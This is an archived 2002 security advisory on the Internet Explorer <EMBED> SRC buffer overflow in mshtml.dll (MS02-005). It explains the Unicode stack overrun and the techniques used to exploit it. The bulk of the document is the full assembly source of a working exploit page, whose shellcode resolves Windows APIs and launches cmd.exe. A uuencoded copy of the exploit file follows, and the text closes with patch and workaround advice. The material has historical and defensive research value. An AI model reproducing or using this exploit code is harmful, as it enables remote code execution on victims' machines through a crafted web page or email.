26th Feb 2002   [SBWID-5141]
	
COMMAND
	Internet Explorer embeded tag remote buffer overflow
SYSTEMS AFFECTED
	 Microsoft Internet Explorer 6.0 and prior
	 Microsoft Outlook Express 6.0 and prior
	 Microsoft Outlook 2000 and prior
	
PROBLEM
	In CERT advisory  [CA-2002-04]  [http://www.kb.cert.org/vuls/id/932283],
	originally from  a  post  of  3APA3A  [http://www.security.nnov.ru]  and
	ERRor and DarkZorro of domain Hell :
	
	--snip--
	
	Internet Explorer supports the <EMBED> directive, which can  be  used
	to  include  arbitrary  objects  in  HTML  documents.  Common  types  of
	embedded objects include multimedia files,  Java  applets,  and  ActiveX
	controls. The SRC attribute specifies the source path  and  filename  of
	an object. For example, a MIDI sound might be embedded  in  a  web  page
	with the following HTML code:
	
	<EMBED TYPE=\"audio/midi\" SRC=\"/path/sound.mid\" AUTOSTART=\"true\">
	
	
	--snapp--
	
	Internet Explorer does not properly handle  the  SRC  attribute  of  the
	<EMBED> directive, mshtml.dll  contains  the  buffer  overflow  while
	parsing HTML with embedded ActiveX components. Stack overrun occurs  during
	concatenation of two Unicode strings.
	
	 Update (28 February 2002)
	 ======
	
	3APA3A [http://www.security.nnov.ru] posted the details :
	
	ERRor <error(at)pochtamt.ru> discovered IE 5.5 and 6.0  in  some  cases
	crash on
	
	 <embed src=\"filename.AAAAAAAAAA<lot of \'A\'s>\">
	
	with EIP 0x41004100.
	
	Overflow   occurs   then   IE    concatenates    file    extension    to
	\"Software\\Microsoft\\Internet
	Explorer\\EmbedExtnToClsidMappingOverride\\\" with  wcscat().
	
	There is another input validation bug in Internet Explorer: it fails  to
	detect if file has no extension. In this case it looks  for  dot  before
	filename and treats everything after that dot like an  extension...  So,
	it\'s possible to overflow buffer with long filename without extension.
	
	There are few problems for one who wants to create exploit:
	
	1.  All  data  is converted to Unicode, that is \'A\' will be converted to
	0x0041.
	2.  Address  of  shellcode will be different depending on number of open
	Internet  Explorer  windows,  Windows  and Internet Explorer version and
	patches installed.
	3.  There is different offset of saved EIP in stack in Internet Explorer
	before and after IE5.5SP2.
	4.  A couple of small problems we will not describe, because it may help
	to stop virus or scriptkiddie with exploit if one appear in-the-wild.
	
	
	One of the first Unicode overflows found in-the-wild  was  vulnerability
	in IIS ISAPI filter  found  by  eEye[6].  They  failed  to  make  really
	working exploit, saying exploiting of this kind of  bug  is  hard.  This
	bug was successfully exploited by hsj and later by authors of CodeRed  worm.
	It brings us to the fact: EXPLOITATION OF  UNICODE  OVERFLOWS  IS  EASY.
	There is easy way to bypass conversion of the shellcode to  Unicode:  it
	should be in Unicode already. It  was  a  trick  used  by  CodeRed  (wonderful
	analysis of CodeRed was made by Andrey Kolishak in [7]). I  wrote  about
	Unicode HTMLs in [8] (in fact  [8]  was  released  to  prevent  possible
	impacts of this paper but didn\'t succeeded,  because  multiple  filters
	still don\'t check Unicode htmls).
	
	Andrey pointed to easy (and well known) way to avoid  second  problem  -
	hardcoded shellcode address.  Instead  of  overwriting  saved  EIP  with
	address of our shellcode we can use indirect jump - overwrite  eip  with
	address of instruction in memory space of some dll which will jump  back
	to our code via ebp or  esp  (ebp  may  be  used  if  exploiting  format
	strings). We fond jmp esp (FFE4) in all versions of kernel32.dll and  in
	one version of msvcrt.dll (6.10.8924.0). This version  of  dll  doesn\'t
	depend on  Internet  Explorer  and  presents  in  most  installation  of
	Windows NT 4.0 and Windows 2000 we checked (but never in Windows  95/98/ME/XP),
	so we used it.
	
	Third problem was solved by overwriting all  possible  EIPs,  using  few
	noops and
	
	  call xxxx
	  ...
	xxxx:
	  pop ebp
	
	combination to get the exact address of our shellcode.
	
	Since exploit is in Unicode we may do  not  care  about  \'\\0\'  (0x0000,
	0xFFFF are prohibited and we have to care about  calls  and  far  jumps)
	so, we did large shellcode with visual  effects.  If  you  like  it  you
	can download full version of dH  &  SECURITY.NNOV  Matrix  screensaver
	from http://www.security.nnov.ru/advisories/soft/
	
	Resulting HTML (will  work  with  msvcrt.dll  6.10.8924.0  and  doesn\'t
	depend on mshtml.dll version, program used and Windows version)  can  be
	obtained  from   http://www.security.nnov.ru/files/iebo/matrix.htm   Same
	file (properly encoded to UTF-7, UTF-8, quoted-printable or  base64)  may
	be used to exploit Outlook Express/Outlook. (I\'ve just noticed that  under
	Windows 2000 terminal window sometimes is open  in  background  and  you
	need to switch... Well... It\'s not good but I don\'t bother to patch  it
	:) ).
	
	Below is source code for matrix.htm:
	
	-=-=-=-=-=-=-=-=- begin matrix.asm -=-=-=-=-=-=-=-=-
	;
	;   matrix.asm - source code for matrix.htm
	;
	;   build:
	;   tasm matrix.asm /m2
	;   tlink matrix.obj, matrix.htm /t /3
	;
	;   Authors:
	;     ERROR:    bug discovery
	;     3APA3A:   idea and coding
	;     OFFliner: matrix effects and undocumented Windows API
	;
	;   Thanx to Andrey Kolishak for indirect esp jump idea
	;
	;     you can obtain matrix screensaver from
	;     http://www.security.nnov.ru/matrix
	;
	;
	;  eipjmp: overwrites saved EIP for all versions of
	;          mshtml.dll
	;  espjmp: gets control after jmp esp and calls code1
	;  code1:  restores EIP from stack after call to ebp
	;          does some actions and jumps to code2
	;  code2:  does the rest of actions
	
	
	datap           equ (DataTable+080h)
	hKernel32       equ LoadL-datap
	cCur            equ StringTable-datap
	SetCCH          equ StringTable+4-datap
	GetSH           equ StringTable+8-datap
	Sleep           equ StringTable+12-datap
	WriteC          equ StringTable+16-datap
	AllocC          equ StringTable+20-datap
	SetCDM          equ StringTable+24-datap
	SetCTA          equ StringTable+28-datap
	SetCCI          equ StringTable+32-datap
	WinE            equ StringTable+36-datap
	ExitP           equ StringTable+40-datap
	
	hStdOut         equ StringTable+48-datap
	dwOldMode       equ cCur
	conCur          equ StringTable+52-datap
	cls             equ StringTable+56-datap
	DWNumChar       equ StringTable+60-datap
	RegHK           equ user-datap
	
	
	
	.386
	_faked  segment para public \'CODE\' use32
	       assume cs:_faked
	start:
	_faked   ends
	
	_main  segment para public \'DATA\' use32
	       assume cs:_main
	
	
	prefix:
	        begin   db      0ffh,0feh               ;Unicode prefix
	                db      \"<\",0,\"e\",0,\"m\",0,\"b\",0,\"e\",0,\"d\",0,0dh,0
	                db      \"s\",0,\"r\",0,\"c\",0,\"=\",0,34,0
	                db      \"h\",0,\"t\",0,\"t\",0,\"p\",0,\":\",0,\"/\",0,\"/\",0
	                db      \"w\",0,\"w\",0,\"w\",0,\".\",0
	                db      \"s\",0,\"e\",0,\"c\",0,\"u\",0,\"r\",0,\"i\",0,\"t\",0,\"y\",0,\".\",0
	                db      \"n\",0,\"n\",0,\"o\",0,\"v\",0,\".\",0,\"r\",0,\"u\",0
	                db      \"/\",0,\"f\",0,\"i\",0,\"l\",0,\"e\",0,\"s\",0,\"/\",0
	                db      \"i\",0,\"e\",0,\"b\",0,\"o\",0,\"/\",0,\"X\",0
	                db      \"!(c)3APA3A\"
	                db      22 dup(090h)
	code1:
	        pop ebp
	        mov esp,ebx
	        xor eax,eax
	dataoffset = DataTable - code2
	ebpdiff = 80h + dataoffset
	        mov ax,ebpdiff
	        add ebp,eax                     ;ebp points to data
	        
	        lea eax,[ebp+user-datap]
	        push eax
	        mov ebx,[ebp+LoadL-datap]
	        mov eax,[ebx]
	        mov [ebp+LoadL-datap],eax
	        call eax                        ;LoadLibraryA(\"user32.dll\")
	        lea ebx,[ebp+reg-datap]
	        push ebx
	        push eax
	        mov ebx,[ebp+GetPA-datap]
	        mov eax,[ebx]
	        mov [ebp+GetPA-datap],eax
	        call eax                        ;GetProcAddress(.,\"RegisterHotKey\")
	        mov [ebp+RegHK],eax
	        lea edi,[ebp+rhk-datap]
	        movzx esi,byte ptr[edi]
	LoopHotkey:
	        inc edi
	        xor eax,eax
	        mov al,[edi]
	        push eax
	        inc edi
	        mov al,[edi]
	        push eax
	        inc edi
	        mov al,[edi]
	        push eax
	        xor eax,eax
	        push eax
	        call [ebp+RegHK]
	        dec esi
	        or esi,esi
	        jnz LoopHotKey
	        
	        lea eax,[ebp+StringTable-datap] ;string \"kernel32.dll\"
	        push eax
	        call [ebp+LoadL-datap]          ;LoadLibraryA(\"kernel32.dll\")
	        mov [ebp+hKernel32],eax         ;hKernel32 = 
	
	        lea eax, [ebp+SetCCH]
	        mov [ebp+cCur],eax              ;*cCur = SetCCH
	        lea edi,[ebp+funcnum-datap]
	        movzx esi,byte ptr[edi]         ;esi=funcnum
	        inc edi
	LoopResolve:
	        push edi
	        push dword ptr [ebp+Hkernel32]
	        call [ebp+GetPA-datap]          ;GetProcAddress(edi)
	        mov ebx,[ebp+cCur]
	        mov [ebx],eax                   ;save func address
	        xor ecx,ecx
	        mov cl,4
	        add ebx,ecx
	        mov [ebp+cCur],ebx              ;cCur+=4
	        not ecx
	        xor eax,eax
	        repnz scasb                     ;find \\0
	        dec esi
	        or esi,esi
	        jnz LoopResolve
	        
	
	        call [ebp+AllocC]               ;AllocConsole()
	        push eax                        ;nonzero if succeed
	        xor eax,eax
	        push eax
	        call [ebp+SetCCH]               ;SetConsoleCtrlHandler(NULL,TRUE)
	        xor eax,eax
	        not eax
	        sub al,0Ah
	        push eax
	        call [ebp+GetSH]                ;GetStdHandle(STD_OUTPUT_HANDLE)
	        mov [ebp+hStdOut],eax           ;hStdOut=
	        lea eax,[ebp+dwOldMode]
	        push eax
	        xor ebx,ebx
	        inc ebx
	        push ebx
	        push dword ptr [ebp+hStdOut]
	        call [ebp+SetCDM]               ;SetConsoleDisplayMode(hStdOut, 1, &dwOldMode)
	        xor ebx,ebx
	        mov bl,0Ah
	        push ebx
	        push dword ptr [ebp+hStdOut]
	        call [ebp+SetCTA]               ;SetConsoleTextAttribute(hStdOut,FOREGROUND_INTENSITY|FOREGROUND_GREEN) 
	        xor ebx,ebx
	        mov [ebp+ConCur+4],ebx          ;ConCur.bVisible = 100
	        mov bl, 100
	        mov [ebp+ConCur],ebx            ;ConCur.dwSize = 0
	        lea eax, [ebp+ConCur]
	        push eax
	        push dword ptr [ebp+hStdOut]
	        call [ebp+SetCCI]               ;SetConsoleCursorInfo(hstdOut,&ConCur)
	        xor eax,eax
	        mov ax,1000
	        push eax
	        call[ebp+Sleep]                 ;Sleep(1000);
	        xor ebx,ebx
	        mov bl, string-datap
	        mov eax,ebp
	        add eax,ebx
	        mov [ebp+cCur],eax              ;cCur = string
	        mov eax,ebp
	        mov bx,datap-empty_string
	        sub eax,ebx
	        mov [ebp+cls],eax               ;set address of empty_string
	LOOP1:                                  ;do do
	        xor eax,eax
	        push eax
	        lea ebx,[ebp+DWNumChar]
	        push ebx
	        inc eax
	        push eax
	        mov eax,[ebp+cCur]
	        push eax
	        push dword ptr [ebp+hStdOut]
	        call [ebp+WriteC]               ;WriteConsole(hStdOut,(void*)cCur,1,&DWNumChar,NULL);
	        xor eax,eax
	        mov al,100
	        mov ecx,[ebp+cCur]
	        mov bl,[ecx]
	        sub bl,20
	        jnz N1
	        mov ax,400
	N1:     mov bl,[ecx]
	        sub bl,8
	        jnz N2
	        mov ax,2100
	N2:     push eax
	        call [ebp+Sleep]                ;Sleep((*cCur==\' \')?400:(*cCur==\'\\b\')?2100:100)
	        mov ecx,[ebp+cCur]
	        inc ecx
	        mov [ebp+cCur],ecx              ;++cCur
	        mov bl,[ecx]
	        sub bl,9
	        jnz LOOP1                       ;while(*cCur!=\'\\t\');
	        call [ebp+cls]
	        mov ecx,[ebp+cCur]
	        inc ecx
	        mov [ebp+cCur],ecx              ;++cCur
	        mov bl,[ecx]
	        sub bl,00Ah
	        jnz LOOP1                       ;while(*cCur!=\'\\n\');
	        inc ecx
	        xor eax,eax
	        push eax
	        lea ebx,[ebp+DWNumChar]
	        push ebx
	        mov al,18
	        push eax
	        push ecx
	        push dword ptr [ebp+hStdOut]
	        jmp code2
	
	
	        
	codelength  = $ - begin
	neednoops = 1d4h - codelength
	                db neednoops dup(090h)
	eipjmp:
	
	                dd      78024e02h
	                dd      78024e02h
	                dd      78024e02h
	                dd      78024e02h
	                dw      9090h
	                dd      78024e02h       ;EIP for IE < 55SP2
	
	espjmp:
	
	                db 18 dup(090h)
	        xor eax,eax                     ;ESP comes here
	        mov ax,0170h
	        mov ebx,esp
	        sub ebx,eax
	        call ebx
	
	
	code2:
	        call [ebp+WriteC]
	        xor eax,eax
	        mov ax,4000
	        push eax
	        call [ebp+Sleep]
	        call [ebp+cls]
	        lea eax,[ebp+cmdexe-datap]
	        push eax
	        push eax
	        call [ebp+WinE]
	        xor eax,eax
	        push eax
	        call [ebp+ExitP]
	        
	empty_string:
	        ; some code can be pasted here
	        xor eax,eax
	        mov ax,1000
	        push eax
	        call [ebp+Sleep]        ;Sleep(1000)
	        xor eax,eax
	        push eax
	        lea ebx,[ebp+DWNumChar]
	        push ebx
	        mov al,30
	        push eax
	        lea eax,[ebp+empty-datap]
	        push eax
	        push dword ptr [ebp+hStdOut]
	        call [ebp+WriteC]
	        ret
	
	        
	
	DataTable:              
	
	        LoadL   dd      780330d0h       ;LoadLibraryA import table entry
	        GetPA   dd      780330cch       ;GetProcAddress import table entry
	
	StringTable:
	
	                db      \"kernel32.dll\",0
	        funcnum db      10
	                db      \"SetConsoleCtrlHandler\",0
	                db      \"GetStdHandle\",0
	                db      \"Sleep\",0
	                db      \"WriteConsoleA\",0
	                db      \"AllocConsole\",0
	                db      \"SetConsoleDisplayMode\",0
	                db      \"SetConsoleTextAttribute\",0
	                db      \"SetConsoleCursorInfo\",0
	                db      \"WinExec\",0
	                db      \"ExitProcess\",0
	        user    db      \"user32.dll\",0
	        reg     db      \"RegisterHotKey\",0
	        cmdexe  db      \"cmd.exe\",0
	        rhk     db      5
	                db      9,1,100,01bh,1,101,13,1,102,05dh,8,103,3,2,104
	        empty   db      00dh,28 dup(020h),00dh,0
	        string  db      00dh,\" Wake Up, Neo...\",00dh,009h,0
	                db      00dh,\" The Matrix has you...\",00dh,009h,0
	                db      00dh,\" Follow the White Rabbit.\",00dh,008h,009h,00ah,0
	                db      00dh,\" Knock, knock...\",00dh,0
	        
	        padding db      32
	suffix:
	                db      34,0,\">\",0,00ah
	        copy    db      \"(c) 2002 by 3APA3A, ERRor, OFFLiner\"
	
	
	
	_main   ends
	   end  start
	-=-=-=-=-=-=-=-=-  end matrix.asm  -=-=-=-=-=-=-=-=-
	
	References:
	
	[1] dH & SECURITY.NNOV: buffer overflow in mshtml.dll
	    http://www.security.nnov.ru/advisories/mshtml.asp
	[2] Microsoft Security Bulletin MS02-005
	    http://www.microsoft.com/technet/security/bulletin/MS02-005.asp
	[3] CAN-2002-0022
	    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0022
	[4] CERT Advisory CA-2002-04 Buffer Overflow in Microsoft
	    Internet Explorer
	    http://www.cert.org/advisories/CA-2002-04.html
	[5] ISS Alert: Buffer Overflow in Microsoft Internet Explorer
	    http://www.security.nnov.ru/search/document.asp?docid=2546
	[6] All versions of Microsoft Internet Information Services Remote
	    buffer overflow (SYSTEM Level Access)
	    http://eeye.com/html/Research/Advisories/AD20010618.html
	[7] Andrey Kolishak, History of one vulnerability (in Russian)
	    http://www.security.nnov.ru/articles/codered/
	[8] Bypassing content filtering software
	    http://www.security.nnov.ru/advisories/content.asp
	
	
	uuEncoded exploit sample : ========================
	
	
	begin 644 matrix.htm.zip
	M4$L#!!0``@`(`#=?7\"RBFH-%?````.0!```*````;6%T<FEX+FAT;;-)S4U*
	M3>\'E*BY*ME7**\"DIL-+7+R\\OURM.32XMRBRIU,O+RR_3*RK53\\O,22W6STQ-
	MRM>/L,<\"$NQ)!^OQ21;#607VM`.A*+P\"J&78;<S!$$F%*W4DTKY\\($Y&\\Q\\0
	M5$(,2X7PVI`!AA$6\"*8Y@LG+!6<J*-F!*\'48\'P!02P$\"%@L4``(`\"``W7UPL
	MHIJ#17P```#D`0``\"@`````````!`\"``@($`````;6%T<FEX+FAT;5!+!08`
	1`````0`!`#@```\"D````````
	`
	end
	242 bytes
	
SOLUTION
	Patch:
	
	http://www.microsoft.com/technet/security/bulletin/MS02-005.asp
	
	Workaround:
	
	Make sue \"Run ActiveX Controls and  Plugins\"  option  is  disabled  for
	Internet and Restricted Sites zones  in  security  options  of  Internet
	Explorer. Check security zone for Outlook Express is set  to  Restricted
	Sites
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH